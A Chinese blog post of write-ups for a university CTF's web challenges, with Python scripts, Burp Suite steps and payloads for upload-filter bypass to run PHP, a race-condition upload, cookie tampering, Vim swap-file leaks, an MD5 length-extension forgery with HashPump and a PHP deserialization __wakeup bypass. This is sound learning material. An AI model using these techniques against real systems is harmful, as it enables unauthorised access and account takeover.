【CUMT-BXS】WEB部分题解

Author Avatar
source. 11月 18, 2018
  • 在其它设备中阅读本文章

没有绝对的安全。

1. 源代码

右键-【查看源代码】,很容易找到在最后有html注释,去掉干扰中文即得到flag。

2. colorSnake

右键-【查看源代码】,在最后可以看到game.js,点进去看看。

img

Ctrl + F查找下score,发现了./getScore.php,那我们访问以下链接:

刷新几下,发现”score”的值一直在变(+1),但是如果刷新地太快又会重新开始,那我们写个Python脚本:

import requests
import time
url = r"http://bxs.cumt.edu.cn/challenge/web/colorSnake/getScore.php"
req = requests.Session()
for i in range(1,55):
    ans = req.get(url)
    print ans.content
    time.sleep(1)

等50s,可以得到flag。

3. 备份

Q:少年,你知道bak吗?

A:备份文件!

链接提供了两个bak文件,然而里面并没有什么有用信息。

我们可以看到1.bak对应的链接是http://bxs.cumt.edu.cn/challenge/web/code/1.bak,那我们试试3,发现确实是。题目可是提示了,有很多很多的bak文件。

那我们不可能手动一个一个看有没有flag呀,那我们就写个脚本吧~正好锻炼下Python编程能力。

这是我的脚本:

from urllib import request
from urllib import parse

u = r"http://bxs.cumt.edu.cn/challenge/web/code/"

for i in range(3,1000):
    url = u+str(i)+".bak"
    req = request.urlopen(url)
    page = req.read()
    page = page.decode('utf-8')
    if i%50 == 0:
        print(i)
    if 'ctf' in page or 'flag' in page:
        print(i)
        print(page)

思路是遍历每个i.bak,为了看程序是死是活,每隔50打印一下i。

得到flag了,在900多呢。

4. 上传一

大佬口中的水题,不选文件,会提示“你传了吗你就点。。。”;随便上传个文件,会提示“只能传图片哎”。

好,那我们传个图片上去,会提示“但是你传的这种文件执行不了并没有什么用所以就不用访问了 需要可执行的文件”。

耳边响起了“你到底还要我怎样”。

言归正传,我们上传一张图片

img

然后用Burp Suite抓包下。【Send to Repeater】,然后把jpg改为php。

img

【Go】一下,flag到手,而且一拿就拿两个flag,顺便把上传二也给过了。

img

5. 自动获取flag程序

这题有点2333。

img

点了没反应,看看网页的源代码:

$("#a").click(function(){
    $.ajax({
        url:'param1.php',
        method:'get',
        dataType:'json',
        success:calParam2
    })
});
function calParam2(d){
    var data=JSON.parse((d.param));
    var length=data.length;
    var second=new Date().getSeconds();
    var sum=0;
    for (var i = 1; i < length; i++) {
        for (var j = 0; j < length/2; j++) {
            sum+=parseInt(data[i])*second + data[j];
        }
    }

    // 请求flag
    $.ajax({
        url:'http://new.ctf.param.com/aram2.php?sum='+sum,
        method:'get',
        dataType:'json',
        success:function(s){
            alert(s.f);

        },
        error:function(s){
            alert('错了');
        }
    })
}

先看看./param1.php里面是啥,访问这个地址,得到:

{"param":"%5B%221%22%2C%226%22%2C%222%22%2C%228%22%2C%224%22%2C%222%22%2C%228%22%2C%224%22%2C%229%22%2C%221%22%2C%2210%22%5D"}

这是URL编码,在线解一下得到一个数组:

{"param":"["1","6","2","8","4","2","8","4","9","1","10"]"}

calParam2()函数里,url有点奇怪,根据上一个步骤。我们试着访问./param2.php

{"f":"\u5475\u5475\u5475\u5475\u5475\u5475"}

看着一脸懵逼。但是我们不难推断calParam2()函数在做什么,它先把数组拆成一个个元素,可是,经过URL编码后,貌似不能成功。

但是,可以肯定的是url:'http://new.ctf.param.com/aram2.php?sum='+sum,应该改为url:'param1.php',

那我们就去查找下能不能解码,发现有个unescape()函数,那我们在var data=JSON.parse((d.param));前面添加语句d.param=unescape(d.param);,最后变成这样:

function calParam2(d){
  d.param=unescape(d.param);
  var data=JSON.parse((d.param));
  var length=data.length;
  var second=new Date().getSeconds();
  var sum=0;
  for (var i = 1; i < length; i++) {
    for (var j = 0; j < length/2; j++) {
      sum+=parseInt(data[i])*second + data[j];
    }
  }

  // 请求flag
  $.ajax({
    url:'param2.php?param='+sum,
    method:'get',
    dataType:'json',
    success:function(s){
      alert(s.f);

    },
    error:function(s){
      alert('错了');
    }
  })
}

本来想在Chrome自带的【检查】功能下直接修改,但很奇怪修改不了,就考虑用Burp Suite改包。如何修改Response包呢?

在抓到Request包时,【Action】-【Do intercept】

img

然后【Forward】,这样就抓得到了,得到包的时候,按上面说的改改。

img

然后就可以得到flag了~

img

使用Chrome浏览器打开网页,提示“请以管理员身份登录”。

题目其实已经提示了,和Cookie有关。那我们按下F12打开【检查】-【Application】,在【Storage】-【Cookies】下可以看到user一栏,双击user一行【Value】,直接改成“admin”,刷新网页。

看到了key: e,一个大佬(维吉尼亚)的照片还有一串字符。

其实看到了key很容易想到是维吉尼亚密码。我们可以把照片丢尽百度识图验证。

然后打开在线工具即可得到flag。

7. 上传二

见【4. 上传一】

8. logic

预备知识:

默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看;

vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件(直接在末尾加上.swp)。

查看网页源代码,看到这样的几行:

    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="renderer" content="webkit" />
    <meta name="admin" content="chenyurui" />
    <meta name="mail" content="gmail" />
    <meta name="editor" content="Vim" />
    <title>logic</title>
    <style type="text/css">

看到了Vim

构造链接:

http://bxs.cumt.edu.cn/challenge/web/logic/index.php~

啥都没发现。

构造链接:

http://bxs.cumt.edu.cn/challenge/web/logic/index.php.swp

也啥都没发现。

这时候我们随便填写提交看看,发现跳转到./submit.php

构造链接:

http://bxs.cumt.edu.cn/challenge/web/logic/submit.php~

开始下载swp文件,打开得到:

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

我们可以知道应该输入tocken的值为0000000000(10个0)。

那用户名呢?联想到刚刚查看源代码的时候看到的:

    <meta name="admin" content="chenyurui" />
    <meta name="mail" content="gmail" />

试试chenyurui@gmail.com,得到flag。

9. 上传三

在上传一、上传二中,我们绕开了两层限制。

php后缀在上传黑名单中,那就依次试试这些:

  • php2
  • php3
  • php4
  • php5
  • php7
  • phtml

当试到html时候,提示信息变化了:

img

经大佬点拨,要用条件竞争。

python脚本如下:

import requests

url = r"http://bxs.cumt.edu.cn/challenge/web/uploadfile/upload/test.phtml"

while True:
    req = requests.get(url)
    page = req.text
    if 'ctf' in page or 'flag' in page:
        print(page)

用Burp Suit抓包,【Send to Intruder(侵入者)】,在【Positions】标签下,把filename=后面改成test.phtml因为我们仅仅只是简单地竞争,不是爆破,所以【Clear】一下。

img

【Payloads】标签下,把【Payload type】设成【Null payloads】,再把数量设为1000。

img

然后【Intruder】-【Start attack】开始攻击,同时python代码开始运行,就可以得到flag了~

10. is hash safe??

题目提示:粗心的程序员好像有什么东西没删掉,还自以为hash很安全。

试试链接后加.swp,下载下来一个admin.php.swp,但是打开很乱,那就拖到Kali Linux中,使用命令:

vim -r admin.php.swp

看到以下:

img

分析一下代码,我们可以知道salt有13位,hsh要和role加了salt的md5一样,role里要有”admin“才能得到flag。

去搜了下攻击md5,发现有种长度扩展攻击。

去翻了下别人的博客,发现可以使用github中的HahPump工具。

直接在Kali Linux中输入命令:

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

这样就装好工具了,输入命令:

hashpump -s c70ab9d039f166c5b5f506a5698ebaa1 -d guest -k 13 -a admin

得到:

37d0fe2c401a689be9608e9f850ef3de
guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin

F12检查,我们将37d0fe2c401a689be9608e9f850ef3de填入Cookies里的hsh,将guest\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00admin所有的\x转为%(URL编码),Python脚本如下:

print(s.replace(r'\x','%'))

将转好的填入Cookies中的role,刷新页面得到flag。

11. 淘金

登陆后进入富豪榜,然后有显示每个人的用户名和金币数量。

右上角提示“买flag需要1000金币”,当金币小于1000,是看不到flag的。

榜单上每个用户的最右边有个“抢”按钮,点击进去看到URL的结构为:

http://bxs.cumt.edu.cn/challenge/web/robber/rob.php?id=**

id对应它的ID号,很坑爹的是,要在3s内输入正确验证码才能得到一个金币,而且每5s只能抢一个人一次。

我们先用Burp Suite抓包看看,包的形式是:

输入验证码页面(GET方法)

GET /challenge/web/robber/rob.php?id=*** HTTP/1.1
Host: bxs.cumt.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=********; ssid=********
Connection: keep-alive
Upgrade-Insecure-Requests: 1

抢到金币页面(POST方法)

POST /challenge/web/robber/dorob.php HTTP/1.1
Host: bxs.cumt.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://bxs.cumt.edu.cn/challenge/web/robber/rob.php?id=***
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
Cookie: PHPSESSID=********; ssid=********
Connection: keep-alive
Upgrade-Insecure-Requests: 1

user=***&num=1&code=****

我们可以做一个假设:假设从发起GET方法开始计时,然后验证码可以绕过,也就是把&code=****给删除了。

怎么模拟呢?把POST包放到Burp Suite的Repeater里,然后浏览器浏览有验证码的页面,然后刷新页面,在Repeater里【Go】一下,返回了抢到钱的信息,看来思路是没有错的。

接下来就写个Python脚本,如果只抢一个用户的,那么效率太低,那我们可以想办法抢多名用户(先GET对应的网页/rob.php?id=***,再POST/dorob.php,data填写user=***&num=1这种格式)。脚本如下:

#coding:utf-8
import requests
import time

url_post = r'http://bxs.cumt.edu.cn/challenge/web/robber/dorob.php'
url_get = r'http://bxs.cumt.edu.cn/challenge/web/robber/rob.php?id='

cookies={"PHPSESSID":"*******","ssid":"*****"}    #从F12检查中获取
s = requests.session()
names = ["333","0verWatch","EddieIvan","qt","altman","2333","233"]
ids = [125,114,109,115,103,96,33]

while True:
    for i in range(len(names)):
        data = "user="+str(ids[i])+"&num=1"
        req1 = s.get(url=url_get+str(ids[i]),cookies=cookies)
        print(url_get+str(ids[i]))
        req2 = s.post(url=url_post,cookies=cookies,data=data)
    time.sleep(5)
    print("sleep end")

多抢几个用户,可以提升效率。假设抢n个用户,需要时间=5000/n(秒)。

12. 听说你会面向对象

打开链接,看到链接里有php_object_injection,考的应该是php对象注入漏洞,直接百度搜索下php object injection漏洞,发现有个叫反序列化,后来发现这个正好和题目有关:题目给出的php代码中有unserialize()函数、__wakeup()函数。

那我们就构造一个代码:

<?php
class Admin {
    public $file ;
}

$t = new Admin();
$t->file='flag.php';
echo(serialize($t));
?>

运行结果:

O:5:"Admin":1:{s:4:"file";s:8:"flag.php";}

当调用unserialize()函数时会自动调用__wakeup()函数,但是__wakeup()会阻止我们获取flag,所以我们要想办法绕过它,百度搜索php 绕过__wakeup(),看看别人的博客,发现当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()

所以我们可以构造链接:

http://202.119.201.199/challenge/web/php_object_injection/index.php?data=O:5:%22Admin%22:2:{s:4:%22file%22;s:8:%22flag.php%22;}

得到flag。

本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 ComyDream
本文链接:http://comydream.github.io/2018/11/18/bxs-web/